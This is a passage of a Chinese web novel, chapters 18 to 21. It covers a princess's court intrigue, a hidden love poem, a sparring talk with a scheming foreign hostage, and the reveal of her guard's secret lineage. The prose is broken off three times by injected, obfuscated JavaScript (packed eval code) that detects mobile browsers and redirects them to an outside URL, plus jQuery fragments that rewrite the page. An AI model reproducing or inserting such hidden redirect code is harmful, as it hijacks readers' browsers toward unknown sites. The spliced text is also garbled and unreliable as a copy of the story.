晏泠音把嘴唇咬得很紧,几乎要咬出血来。她垂了眼,轻轻靠上了温敏的肩。母亲没有推开她。 柔软的、染着白檀香气的手抚上了她的发顶。 “泠儿,母妃当初生下你时,便望你一生顺遂。不求富贵,只求平安。谢家那个孩子,流言把他传得难听,可你要知道,他的父亲谢初原秉性刚直,守边境多年,从来不预朝事,不结党私。他和已故的征南将军崔少丹是结义兄弟,只为此才会对崔家另眼相看。但自从崔少丹战死,崔家已频现衰落之相,年轻一辈里人才凋落,余下的多是附势趋炎、蝇营狗苟之辈,早不是那个门第清华的大族了。谢初原若能看出这一点,也不会同意和崔氏联姻。” 晏泠音沉思片刻,轻声道:“可故友之恩,确实难忘。谢将军不像是不重情义之人。” “你说得不错。”温敏的手在她的发上停留了一瞬,叹道,“若是他定要崔家姑娘入门,即便是你父皇,也未必能让他改变心意。但听闻他疼爱谢朗,此事唯一的变数,就在谢小将军身上。” “母妃,”晏泠音听出了她的意思,试探道,“也希望泠儿去泾州吗?” 温敏移开目光,有半晌没有开口。 如此……晏泠音心下了然,无声苦笑。 “我曾见过谢小将军一面。五年前,泾州临邑的刺史白松言自缢身死,亲友皆惊惧离散,竟无一人肯为他收敛尸骨。谢小将军其时还未及弱冠,却单骑驰赴白家,为他操办后事,又千里迢迢独自南下,负柩归京。他行至京师时,老师曾候于京郊,泠儿恰好也在场,见老师同他说过半刻的话。” 温敏有些惊讶。 “泠儿不会为流言所误。谢小将军骨子里是什么样的人,非年深日久不能知晓。可是……”晏泠音咬了咬唇,“泾州离母妃……实在是太远了。” 她知道温敏会说什么。从温敏开始劝她去泾州时,晏泠音就已明白过来。远些好,远些才能避开无止尽的纷争。若留在宛京,谁知道晏懿会把她嫁给哪个权网中的臣子?前朝也不是没有过公主远嫁和亲的先例。届时,可不是五天五夜的车程能抵得了的。 而谢家毕竟手中有兵。朝争轻易不敢烧到他们身上。只要晏泠音能处理得当,顶住谢家那边的压力,进也好退也罢,后半生就此都有了倚仗。这是步险棋,或许晏懿也能看出来,因而才选中了晏泠音。 毕竟她的牵挂和软肋,都被囚禁在宛京城里。 温敏的叹息轻飘飘地落了下来。 “母妃无力为你安排什么,只盼你记住,日后若嫁了谢朗,宛京的事就与你再无干系,不必回来,也不必记挂我这个母妃。” 晏泠音一时连呼吸都窒住了。她知道,泾州若有异动,宫内的淑妃便是网中的鱼,自己的一举一动都会成为悬在母亲头上的利刃。温敏的意思很清楚,要她在遇上抉择时,摒弃掉母女间的私情。 她绝不会走到那一步。 但此时,她沉默半晌,轻声应道:“是。” 18. 露电 只休息了一日,晏泠音便回了秘书阁。还未行至门前,她就远远瞧见了那道身影。一身云水蓝裳的女子正静立檐下,似在等人。 晏泠音放缓了步子过去时,女子显然已听到动静,却并未立刻转身。她正微仰了脸,细致打量外阁檐下悬挂的那只铜铃。这种东西出现在禁中确实有些奇怪,但此处一向少有人来,晏泠音又挂得隐蔽,因而此前也并没惹人注目。 那是三年前东云台被封禁时,她拼力救下的唯一一件“遗物”。 “姑娘是何人?”晏泠音又陪她看了一阵,这才开口,“来秘书阁所为何事?” 她穿的不是官服,发髻也不是京中夫人们惯常梳的样式,看着是个未出阁的女儿。背挺得很直,一头乌发梳得齐齐整整,后颈莹白,细腻如脂玉。温婉柔和的气质便如水一般从她身上流出,虽无压迫感,却令人不自觉便生出敬意。晏泠音知道,那不是寻常闺阁中的小姐能养出的,它得自世代相传的渊远家学,是在兰庭玉阶之下耳濡目染的结果。 但在那层端庄娴雅的仪态下面,还掩着一层不易察觉的飞扬锐气。虽似有若无,可一旦注意到了,便再也不能忽视。 女子闻言,终于收回目光转过了身,长眉微蹙,一双水光盈盈的眼定定地望住了晏泠音。但只是转瞬,她便敛了目光,垂了睫羽,不卑不亢地屈膝行礼。 这个行礼的动作相当漂亮,一丝不乱。 “民女崔婉,见过公主殿下。” ……竟然是她。 晏泠音着实没想过崔婉会来找她。她们此前素不相识,若非太后安排了那场闹剧,或许此后也不会有深交的机会。 昨日温敏提到的崔少丹,就是崔婉的亲生父亲,其夫人夏岚亦出身将门。他们双双战死于南疆时,崔婉尚不满周岁。 “崔姑娘客气。”晏泠音微微颔首。崔婉身后只跟了个看着乖巧的小丫鬟,不见有宁寿宫的宦官接引,让她有些拿不定崔婉此行的目的。目光下滑时,她瞥见了崔婉手中的一只药囊。 京中皆传,崔家女因心伤双亲殒故,自小便厌憎厮杀,其后又拜了名师,当了医女。梁国贵士子而贱工商,医者则更下工商一等,只勉强比乐舞伎要高些。崔氏门胄清华,历来诗礼传家,到崔少丹这一代才出了个武将,偏偏崔婉更甚,直接弃了世家贵女的名望,入了市井红尘。 太后虽然疼她,但因着此事,终究同她隔了一层。崔家这一辈除了崔婉,只有一个旁系所出的庶子崔含章还有些才学。倒也不怪太后如此着急,舍不下谢家这块肥肉。 “民女受大理寺江少卿所托,有要事转告殿下。” 江渊然?他认得崔婉? 晏泠音压下心中的疑问,平静道:“何事?” “江少卿说,他已无事。可幕燕既落,茧中难安,望殿下珍重自己,莫要再亲身涉险,必要时,也万勿以他为念。” 晏泠音心中突地跳了一下。 一场后宫里的暗算而已,她也不是没经历过更糟糕的事。怎么身边之人一个两个的,都要同她划清界限,恨不得生死诀别? 她面色不变,抬眼去看崔婉,女子也正无声地注视着她,眸中有思量,亦有探究。晏泠音定了定神,冲她笑了笑,应道:“多谢姑娘。若是方便,请代我转告江少卿,高台常在,明月不改。他还欠我一场酒,不要总是躲人。” 崔婉轻声笑了起来。那双盈盈美目因了这一笑,更显得潋滟动人。她朝晏泠音走近一步,不偏不倚地挡住阁前守卫的视线,声音很低:“殿下是苦心,但若真为江少卿着想,还是把那只铜铃撤了吧。” 晏泠音默然片刻:“只是旧物。” “旧物才能翻出新花样来。”崔婉后撤一步,又仔细打量了晏泠音一阵,“殿下的诗虽好,留着却难免要惹祸患。” “这是姑娘的意思?” 崔婉轻轻摇头:“也罢,话已带到,此事我原不该多管。但民女今日过来还有一事,和殿下有关。” 晏泠音皱眉:“和我?” “民女想提醒殿下,谢小将军虽然性格狂放跳脱,却绝非鲁莽之人。那封信,不是他写的。” 她语声柔婉,晏泠音却听得身上陡然一冷。她近来也在思忖谢朗的信,按理说,谢家就是再向着太后,也不必这般明晃晃地得罪皇帝。 换言之,宁寿宫之事从头至尾针对的,只是她和江渊然。 “多谢姑娘,却不知姑娘……”晏泠音顿了顿,“所求为何?” 这几乎是明知故问。她等着崔婉说出谢朗的名字,对方却没有吭声。良久,崔婉才轻声叹了口气。 “殿下,”她擦着晏泠音的肩膀走过时,双唇微动,声音低得仿若耳语,“美玉貂裘今在手,燕语呢喃可复闻?” 晏泠音突然呆在原地,如遭雷击。等她回过神来,猛地回转过身,出声唤道:“崔姑娘!” 那袭云水蓝裳已经绕过拐角,消失不见了。晏泠音狠咬了下嘴唇,定住砰砰直跳的心,转身大步走进了秘书阁。等到身边已无其他人时,她才抬起手,将攥紧的拳缓缓松开。 方才崔婉近身时,往她手中塞了张叠好的纸笺。她凭触感便能辨出那是张柔脆的旧纸,可看清的那一刻,她的手还是极轻地颤抖起来。 原本悬在铜铃下的纸笺不知何时已被人取下,替成了无字的另一张。旧物归原主,崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431900|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉没做什么手脚,直接把它还了回来。 是江渊然让她这样做的? 这世上,本无第三个人知道它的存在。 一阵晕眩袭来,晏泠音闭了闭眼。她不用看都能想象出来,旧笺上是她少时的字迹,书有两列五言诗。 明月如茧素,裹我江上舟。 那句诗本是杜慎布置的课业,教他们学着吟咏月色。江渊然迟疑良久方才落笔,又不等她看过就匆忙撕去。 可她早已看见了。少年心事藏得太深,只敢借诗文隐晦展露。那日东云台花如雪落,他抬手从她发间摘下一片白杏,垂眸对上她的目光时,心弦悸颤。三月的宛京暖风熏然,拂动女孩素色的衣摆,将他的双颊也吹得泛红。 她自认还当不得照世明月,却真切盼着那人长成济世舟楫。梁国朝局纷乱,党派林立,进身之途大多为高门垄断,多少年才能出一个杜慎,又要多少年才能再出一个濯如冰雪的江渊然? 哪怕就是为此,她也不能把他留在自己身边。宰执之才,不该被驸马的虚衔掩盖。 晏泠音其实一直都很清醒。但或许是那日的东风太暖,杏花的香气太甜,以至于她也有了些许醉意。她偏过头,望着江渊然笑道:“回兄这句诗写得妙,废了多可惜,不如就赠予我,日后也能留个念想。” 她说着提笔便写:“我都记下了,回兄可不许反悔。” 再过两年,江渊然便要及冠,他会成家立计,娶妻生子,再不能随手替她磨墨、陪她闲谈。她这个念想是留给自己的,因而不要江渊然动笔。字迹和心念都属于少不更事的惠和公主,日后就算有人翻了旧账,也挨不上他江渊然。 晏泠音笑得有些发苦。她抬手取过烛台,将这张纸凑近明灭的烛焰,却忽而停了动作。 热意烘染之下,纸笺的背后竟隐隐现出了新的字迹。它们原该沉默葬在旧笺里,永远不被发现,永远不得提及。 两列墨书卓然英挺,秀如拔竹,在她的手中微微颤动,簌簌有声。经历了这么久的风吹日晒,世事也换了几轮,其人其书的端凝气度却依旧未改。 “执事有恪而无悔,宛转裴回以思君。” 原来江渊然说的是真的。那只铜铃,他也亲手挂过一次。 晏泠音被这些字烫得双目赤红。她保持着抬手的姿势,看着烛焰舔上素笺,吞咽、撕咬,一路蚕食下去,又缠上了她的指.尖。 她和那个人相遇在最好的年华,在宛京城最美的春三月。 只是时移世易,舟楫欲坠,皓影蒙尘。他们都太聪明,知道往事如露如电不可追,一旦伸手去触,便是死局。 她看着笺纸烧成了灰烬。 19. 放饵 晏泠音踏入茗香楼时,里面正相当热闹。茶客们团团围坐在说书先生跟前,听故事听得入了迷。 “那还是三年前的事……” 她皱了皱眉,一直盯着门口的阿承已经迎了上来,拨开人群领她往楼上走:“姑娘来了。我家公子已等候多时。” 魏收本想跟着她进门,却被阿承一手拦下:“主子们有话说,我们做侍卫的守在外面就好。” “谁跟你称兄道弟。”魏收冷哼一声,使力去拂他的手,“让开。” 他越查此人的身世便越是心惊。太干净了。在梁国的这些年,他除了护卫苏觅,极少与其他人生出纠葛,和江湖门派更是从无往来。若非那一□□他使出了归云步,怎么都不能把这个年轻人和威震江湖的逐风阁联系起来。 他有心再试阿承的武功,一击不中,转眼不声不响地又缠了上去。对方却像是知道他的心思,几回格挡路数俱不相同,深浅难测。两人堵在门前闷声拆招,动静不算大,但时间长了难免惹人注意。晏泠音回头看了看,嘱道:“魏大哥,你守在外面,替我看着周围。” 魏收这才停了动作,瞥了笑眯眯的阿承一眼,恨道:“是。” 晏泠音再回身时,正对上苏觅看好戏的目光。阿承的笑就是跟他学的,只是眼睛圆了些,不及他主子那样脉脉含情,看着难免找打。 “不知今日来的是闻姑娘,还是公主殿下?”他见晏泠音正环顾四周,补充道,“这屋子隔音不错,平日里也只有我在。” 他又戴上了面具,掩住了那灼人眼目的容颜。晏泠音接了他斟好的茶,却没急着喝,应道:“在外行走不便,公子唤我姑娘就好。” 苏觅微微颔首:“多谢姑娘赏脸。” 他说话时尾音微扬,再普通的句子经他说出来,都带上了勾人的味道。那双含情眼里盛了笑,像是漾着一池的春水。 宫里最不缺的就是美人,却从没有哪一个像苏觅这样,有意无意地,抬眼动眉皆是万种风情。 晏泠音摩挲着手中的茶盏:“此地风物与幽国大不相同,公子居梁日久,不知可有念过家乡。” “幽国苦寒,平时也没什么解闷的,”苏觅笑道,“怎比得上梁国京城繁华如斯。” 晏泠音也笑。清茶热气未消,苏觅执盏饮茶时,袅袅的白汽挡了他半垂的眼,让那泓池水显得更加幽深。 甚至无端透出点落寞。 “三年前,”晏泠音轻声道,“公子在何处?” “自然是在宛京。” “陪着五皇兄?” “既蒙殿下青眼,自当尽心。” “他知道你救了吕绍吗?”晏泠音观察着他的神色,等了一阵才继续道,“还是我猜错了,公子同吕主簿这般交好,三年前,竟也曾坐视不理?” 苏觅搁下茶盏,悠悠开口:“当时情势危急,我即便有心相助,却也无力回天。” “凭公子的本事,怎至于全无办法。” 苏觅笑了起来:“姑娘实在看得起苏某。” 岂止是看得起。晏眆为人多疑成性,深沉残忍,身边的侍卫隔两年就要清洗一波,很少留得住人。苏觅却在他身边待了这么久,从无权无势的异国质子混到了衣食无忧,甚至还时不时能入宫面见皇帝和贵妃。这是何等的心计和手腕,叫她如何能不忌惮。 她没有接话,只沉默地望着他。过了一阵,苏觅似是笑够了,又悠悠地挑过话头:“我身份特殊,此事并无他人知晓,还望姑娘帮我保密。” “为何?” 晏眆不喜杜慎,这是尽人皆知的事。晏泠音还在东云台时,因为此事还和他闹过一场,把人气走了才罢休。苏觅既是他的亲信,却又与身为杜门弟子的吕绍交好,这说不通。 更有可能的,是这所谓的“交好”,也不过是苏觅计划中的一环罢了。 “闻姑娘,”苏觅单手撑着头,看着她似笑非笑道,“世上很多事都没有道理,不能时时求一个为什么。三年前姑娘明知救人于己无益,不还是闹到了陛下面前,以命相保吗?” 被他这样一挑,那场帝阶前的对峙时隔良久,再次浮现在她眼前。晏泠音想,不应该的,连她母妃都不清楚她和父皇说了什么,苏觅怎么可能知道? 这场较量谁先中心动摇,谁便会败下阵来。 “我却不信,苏公子也是身不由己。” “身不由己?”苏觅叹了一声,“我还以为是,情难自禁。” 晏泠音沉了脸,迎上他意味不明的目光:“公子自重。” 苏觅细长的眸子倏地亮起,像块润泽却没有温度的黑玉。他的相貌太出挑,太张扬,就算罩了外衫,戴了面具,又混杂了通身的病气,却依旧不能完全遮掩。平日里他总是笑得温柔随和,一副没什么脾气的样子,可有的时候,便是笑也掩不住他眸中的冷意。 拂开那层柔情蜜意的潮雾,藏在下面的,就是万年不化的寒冰。 “朝中人事清浊难论,姑娘定要趟这浑水?” “苏公子对梁国的朝事,倒是十分清楚。” “姑娘谬赞。”苏觅微微后仰,靠上椅背抬眸看她,“不过是五殿下偶尔提点两句,在下鹦鹉学舌罢了。” 他今日罩衫系得松散,脖颈处滑落了一片,白瓷般光洁的皮肤从那里露出来,再往下便是艳红的盘领。室内门窗皆闭,又笼着腾腾茶雾,颇有些闷热。他伸手随意扯了下衣领,指.尖蹭过的皮肤上,现出了一小团浅淡的红。 晏泠音的目光在那片红潮上停了一瞬,又不着痕迹地转开了。与此同时,苏觅隐在领下的喉结很轻地动了一下。 “闻姑娘,”他直起身,终于正了神色,“殷家势大,刑部这几年更是处处给殿下掣肘。二郎此前做了什么,殿下宽宏大量,并不想追究,只要他能拉殷家下水,性命也好,富贵也罢,都没什么难的。” 他这话真假掺半,晏泠音没有戳破,只淡淡道:“此事殷禹是受害者,要下水也轮不上他。何况殷家同崔家是世交,情分非比寻常,百年大族的基业,一个吕绍动不了它。” “即便一时动不得,却可瞻风拔草,能进一步都是好的。”苏觅说得很轻巧,“再者,是殷禹先动了邪念,定要往旧案上靠。东云台是今上的心病,他有胆量提,就该做好被反噬的准备。” “殷尚书虽然性格刻板,却为人谨慎,轻易不会涉险。”晏泠音转动了一下手中的茶盏,“也不知是谁有这样好的口才, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431901|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟将他说动了心。” “姑娘说笑了,”苏觅不动声色,神情坦然,“此事关系重大,岂是旁人三言两语就能说动的。” 晏泠音抿了抿唇,没再试探:“公子既有了安排,想来也已将案子查清了。如此我倒要请教,难道吕主簿真的学了偶术?” “大梁术师尽数遭戮,偶术也早已失传,”苏觅凝视着晏泠音,一字一字说得很慢,“二郎又怎会学过呢?” 他的眼皮很薄,微亮的目光从里面透出来时,如同破云而下的晨间日光,似能烛照一切。晏泠音对他的刻意强调恍若未觉,只疑惑道:“如此,殷家娘子的病却是因何而起?” 苏觅轻皱了眉,难得地露出犹豫神色。他的右手原本随意地搭在桌案上,此时却握上了左手手腕,无意识地摩挲着。晏泠音冷眼瞥去,那截瘦长的手腕上有一处骨节凸起,苏觅的指.尖便绕着那里打转,轻柔地挤按着。 “在下也想不明白。” 闻言,晏泠音捏紧了掌心的茶盏。 “我听说莺柳巷里有座弦歌楼,楼中娘子妙音风雅,朝中不少官员都是那儿的常客。苏公子这般好琴,不知可也前去品鉴过?” 苏觅掩袖咳了两声,语气不咸不淡:“姑娘看我是爱吃花酒的人么?” “弦歌娘子一曲可值千金,”晏泠音慢声道,“吕主簿家中清贫,若无旁人相引,怕是听不到那么好的琴音。” “二郎清俊儒雅,为人谦和,弦歌就此动了心也未可知。” “坊巷间倒是另有传言,说弦歌娘子心下倾慕的,是一位着红衣的年轻公子。” 两人的目光隔着袅袅茶雾对上了,苏觅的眸中浮现出几分玩味:“所幸在下还未有家室,否则姑娘这顶帽子扣上来,我可是百口莫辩了。” 晏泠音目光闪了一下。弦歌楼背后牵涉庞杂,她手上证据不足,暂时也套不出苏觅的底细。 “弦歌娘子是浥安人,吕主簿回京前最后一任便是浥安刺史。当年接到返京的调令后,他并未立刻动身,而是无故延挨了近两个月。这件事,主簿可曾和公子说过?” 苏觅的手指又搭上了凸出的腕骨,边轻蹭着边沉吟道:“想来是当地百姓执意挽留,盛情难却罢。” 这些事不是秘密,她能查到也并不稀奇,有心人若是像她这样顺藤摸瓜,就算放过了苏觅,弦歌楼也定然是保不住的。 这么大的漏洞,心细如他竟会任其暴露于人前? 他只是在放饵,就看殷禹敢不敢上钩。 “苏公子,”晏泠音轻声道,“倒了殷家,失了弦歌楼,这交易算不上划算。” 风月场最能探听出朝野隐秘,弦歌楼经营多年,早成了旁人的眼中钉。前年殷禹受贿被参,虽未丢了官帽,却也着实狼狈了一阵。这件事背后是何人主使,他绝不会毫无所察。 “置之死地而后生。”苏觅微微偏过头,勾了唇角,“姑娘现下就谈胜败,未免太早了些。” 好一个置之死地。偌大一个弦歌楼说抛就抛,“素来交好”的旧友亦能断然送入监牢。 他确实够狠,就像躲在暗处的蛇,平日里不动声色,等到被发觉时,冰凉的长尾已缠上了人的咽喉,掐住了命脉。 20. 天命 满室茶香浓郁,熏得人有些发晕,晏泠音偏偏还能闻到苏觅身上的药气。这个人仿佛每日都泡在药罐里,只怕那副冷白的皮囊里面,水淋淋包着的都是苦药。 可那块凸出的腕骨被他摩得久了,又能晕开浅淡的红,仿佛在无声地暗示旁人,这具瓷器般精致易碎的身体里,还是淌着血的。 只要一揉就能泛起血色。 晏泠音猝然收了目光。探幽寻秘几乎是人性的本能,何况苏觅身上的疑点太多,藏得又那样深。她知道南疆有种美人蛇,花纹繁丽,行踪诡谲。其毒性极强,却因看着柔弱迟缓,兼之皮相美得摄魂夺魄,因而年年都有人难耐诱惑前去猎杀,而最终,十有八九是回不来的。 柔脆之物既让人生出保护欲,又能勾出人藏在最深处的卑劣性。上天生就那样造孽的妖物,又给予灵智和野心,就是要它们在惨遭蹂躏的威胁里撕开一条血路,于绝处方可夺生。 对这种人产生好奇,将会是致命的。她半生行路危如临崖履冰,若非万不得已,本不该同他有所牵扯。 但好在,她也没什么可以失去的了。 “看公子的意思,这不过是你们和殷家的私人恩怨,凭什么牵扯上吕主簿?” 苏觅停了摩挲腕骨的动作,静了一瞬。 “是二郎主动求我的。” 见晏泠音微微挑眉,他又叹了口气:“姑娘信与不信,我都是这句话。沾染东云台于我,于五殿下都没有半分好处,为何要自找麻烦?” “公子玲珑心窍,事事都能思虑周全,所求定也着眼于长远。” 苏觅没立刻反驳她,沉吟片刻,竟点了点头。 “若真有半分好处,”他温声道,“就是能认识姑娘罢。” 她凝视着那双漂亮的、狐狸般狡黠的眼睛:“我不是来陪公子说笑的。” 他笑了起来:“姑娘误会了,我只是想同姑娘做个交易。” 晏泠音眸光微闪。 “二郎熬不过这两日的,就算江少卿有意相保,也受不住刑部一直施与压力。他家世清白,本无其他途径接触邪术,这桩案子即便没有殷禹推波助澜,也只能倒向一个结局。” “大梁司法竟疲弱至此,”晏泠音冷冷道,“实在令人心寒。” “姑娘想得轻易,”苏觅摇了摇头,语气依旧温和,“司法断案里,真相是最不重要的事。” 晏泠音忍不住讽道:“公子说这种话,可不像是谈交易的态度。” “姑娘说得是。”苏觅欣然应允,“二郎既主动入局,绝难全身而退。他这条性命留与不留,只在姑娘一念之间。” 见晏泠音皱眉,他又似笑非笑补了一句:“天心难测,姑娘也别忘了,身在局中的还有江家呢。” 他知道她拦不住江渊然。 晏泠音的手缓缓攥紧。何止是拦不住,她根本没有理由拦。江渊然做错了什么?大理寺的职责就是详断冤案,他凭什么要接受一套模棱两可的说辞,为了自保而退让遮掩? 苏觅说她想得轻易,可权势再大的人,也不可能一手遮天。 “殷尚书好养舞伎,府中各色人等出入往来,难免鱼龙混杂。”苏觅的声音低沉悦耳,不疾不徐,“他暗中结交术师为己所用,却不慎被二郎发觉,因而先一步诬告上去,以绝后患。为此,他连自己的女儿也不肯放过。” 晏泠音只觉浑身发冷。她盯着苏觅,一时没有出声。 “那位术师出身于弦歌楼,弦歌查明实情,有心上报,却再度被殷禹反咬一口,认定她和二郎两情相悦,这才撺掇他下手害了殷家娘子。可怜她也是清白人家出来的姑娘,为了谋生不得已入了烟花场,就因为卷进这说不明白的官司里,要命丧于此了。” “证据呢?”晏泠音反问道,“吕主簿和弦歌娘子相交是实,吕家搜查出偶人是实,旁人为何要听信公子的一面之辞,转而认定朝中大员竟能狠下心谋害女儿?” 苏觅没有血色的薄唇微微扬起,笑得温柔又狠戾。 “谁都不想和偶术有所关联,殷尚书为了保命,自然什么都敢做。何况,证据也是有的。” 晏泠音紧盯着他:“所谓证据,也是公子的精心安排吗?” 苏觅沉默片刻,忽而垂了眼。 “姑娘不肯信我。” 他是天生的戏子。什么姿态能让人放松警惕,什么神色能让人动情,他知道得清清楚楚,演起来也毫不含糊。晏泠音看多了宫内妃嫔争宠的戏码,精彩纷呈,却都得在苏觅面前败于下风。 “既如此,还请公子替我解惑,”晏泠音慢慢开口,“公子的偶术,又是何人所授?” 门外忽然爆发出巨大的喧声,即便是那隔音极好的门扇也掩不住众人的吵嚷。似乎是说书先生故意卡在了吊人胃口之处,满楼的茶客们都老大不乐意,吵着要他继续往下讲。 苏觅在这一片闹声中轻笑起来。 “闻姑娘,”他顿了顿,有意把调子拖得悠悠绕绕,“实在看得起苏某。” * 从茶楼出来,晏泠音瞥了眼二楼紧闭的窗,背过身抓了个矮个儿少年,柔声问他:“方才说书先生在讲什么呢,这么热闹?” 她容貌清丽,语声温和,小孩儿见了喜欢,也有意亲近,便笑嘻嘻地说:“先生在给大家唱曲儿呢。我还记得,给阿姊唱两句?” 见晏泠音点头,那小孩儿便拍着掌哼了起来:“梁上燕,鸣啁啾。眉头心上拢不住,藏了美玉,衔了貂裘……” 这首歌音节流畅,声调欢快,可晏泠音听着听着,脸色便发了白,唬得那孩子停了口,不知道该不该继续唱下去。 魏收见出不对,从兜里摸了两颗糖打发了小孩,这才低声道:“姑娘?” 晏泠音倏然回身,目光直直落在二楼临街的窗扇上。那里和方才一样静悄悄的,隔得远,也看不清是否有人倚在一旁。 等她收了目光,那孩子已经没影了。她平复了一下微乱的气息,边往前走边问魏收:“听闻逐风阁爱养少年杀手,以独门内功从小训起,可有此事?” 魏收凝神想了一阵:“确实如此。师父说当年逐风阁初建时,苏世清就招了不少无父无母的孤儿,给吃给住,这样训出来的都是死士。” 他们的说话声杂在街头嘈杂的人声里,被盖得严严实实。魏收说完默了默,忽然意识到什么,抬头望向晏泠音:“姑娘觉得那孩子有问题?” “说书的老儿要是敢说这种话,不到明日就叫他人头落地。”晏泠音这两日本就心情不佳,又被苏觅搅和了一阵,身上那些平时见不到的刺都隐隐冒了头,“茶楼有问题,那孩子只怕也不简单。魏大哥,你这两日可曾查清阿承的身世?” “小人惭愧,”魏收有些懊恼,“种地种多了,许久不管外面的事,现今能打听到的东西也有限。但小人直觉,阿承在逐风阁的地位不低,极可能就是传言中那个年轻的少阁主。” “少阁主……”晏泠音喃喃自语,“竟然让这样的人跟着苏觅,逐风阁已作出决定了吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431902|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 无论在幽在梁,朝野皆知,逐风阁只侍奉幽王。 “姑娘,”魏收观察着她的脸色,试探道,“要不要小人去……” “还不能打草惊蛇。”晏泠音摇了摇头,“他既敢暴露身份,定是有恃无恐,现下还不清楚逐风阁的底细,你一个人制不住他。” 魏收知道她说的是事实,可依旧免不了为此烦躁:“难道就放任逐风阁在这里招摇?他们可不是寻常门派,不守江湖规矩,也不讲江湖道义,天底下没什么事做不出来。苏世清当年就是靠它,几乎血洗了整个幽国王室,万一它在梁国扎了根,只怕会后患无穷。” 晏泠音一时没有应声。此时他们已走到一处少有人行的小巷,身周静了下来,她环顾一圈,忽而停了脚步。 “魏大哥,我有事想和你打听。” 自魏收认识她以来,从未听过她用这般郑重的口气说话。他心下暗惊,神色也严肃起来:“姑娘只管问便是。” “魏大哥的师父,是个什么样的人?” 魏收不解其意,只尽力回忆道:“师父他……性格爽朗,嫉恶如仇,对弟子要求严格,尤其憎厌名利之争……姑娘怎会想到问这个?” “他择定你继承衣钵时,有没有嘱咐你什么?” 魏收怔然。他微张着口望着晏泠音,却不知为何没有出声答她。 “八十七年前,大梁出过一位女帝,那是我的曾祖母,姓晏,讳无怀。”晏泠音轻声道,“她的父亲曾开创过大梁的休明盛世,可在他传位给女儿后,国境之内暴乱纷起,都说女子怎当得帝王。曾祖母铁腕治军,不仅压下了暴动,还保了梁国边境其后十年未有战事,四方太平。” “称帝的第二年,曾祖母择定洛中十二卫,以‘飞度关山’四字名之。飞字卫留洛京,度字卫守北境,关字卫赴西域,山字卫镇南地。十二人皆是英杰中的英杰,无论哪一个放到武林中,都堪当一派宗师。可在曾祖母病逝之后,十二卫却尽数湮没无闻,再没在江湖上露面。” “我幼时爱翻些闲书,也零零碎碎地知道了些关于曾祖母的事。她留下的东西不多,其中一个就是记载南疆风土人情的《南疆志》。” 晏泠音笑了笑:“下面可就是隐秘了,但我想,告诉魏大哥也无妨。《南疆志》三十卷流传至今,独独少了一卷灵征志。那里面记载了什么呢?我机缘巧合读过一次,知道它提到了南疆特有的巫术,同时也在卷末,提到了十二卫的职责。” “那些话不是秘书郎写的,而是曾祖母亲自执笔。她说她知道女子称帝太难,光有才干不够,辅以权术还不够,天下人的陈念太深太重,他们只会诬你僭礼登基,强违天命。可那又如何?天命不从她,她便自己做那个天命。” 晏泠音转过身看着魏收,深静的眼眸在暗处微微发亮。 “她把传国玉玺交付了其中一卫,嘱他日后亲手交给新帝。若她安然放权退位,那玉玺本该代代流传下来,十二卫也该效命新主。可是没有。谁也不知道玉玺去了哪里,她亲自定下的皇太女和她一道无端病逝,此后梁国的皇权承袭,便再度回了‘正轨’。” “灵征志的最后一页,是曾祖母的临终绝笔。她说她已立下铁令,大梁何时有女帝即位,何时那象征天命的玉玺才能回到天家,十二卫也才能重出江湖。” “魏大哥,”晏泠音说到这里,朝已经僵住的魏收弯了弯眉眼,“你说,这么多年过去了,他们还记得当年的事吗?” “你呢,想不想看十二卫重聚?” 21. 入局 四周寂无人声,仲夏燥热的风盘旋而过,轻得拂不起地上的埃尘。魏收默然良久,抬手抚上了束在腰间的匕首。 “姑娘是何时发现的?” “我原只是猜测,”晏泠音摇了摇头,“那日借用魏大哥的匕首时,触到了柄上的暗纹。” 魏收叹道:“姑娘心细如发。昔日晏主偶得奇兵陨铁,以之铸四方白刃分赐四卫,小人的师祖亦列于其间。剑格上镂刻有四卫的名号,其所执之剑也以此命名。小人这柄短剑名唤飞鸿,鸿飞踏雪,师祖所创剑法,正是逐风阁拂雪十七式的克星。” 他跟着又苦笑了一声:“只可惜小人资质驽钝,至今所习怕不过五成。师父虽将它留给了我,但真要说起来,小人实不敢当这飞鸿剑的传人。” 晏泠音轻声道:“魏大哥不必过谦。你尚年轻,日后的路还长,定有精进剑艺的机会。” 魏收注视她片刻,慢慢开口:“姑娘……也作出决定了吗?” 他的手仍紧握着飞鸿的剑柄,因为心绪激荡,竟难以自抑地微微发着抖。 数十年的隐忍,数十年的沉沦,实在是太久了。 晏泠音迎着他急切的目光,却没有立刻点头。 “魏大哥,是我埋没了你。” 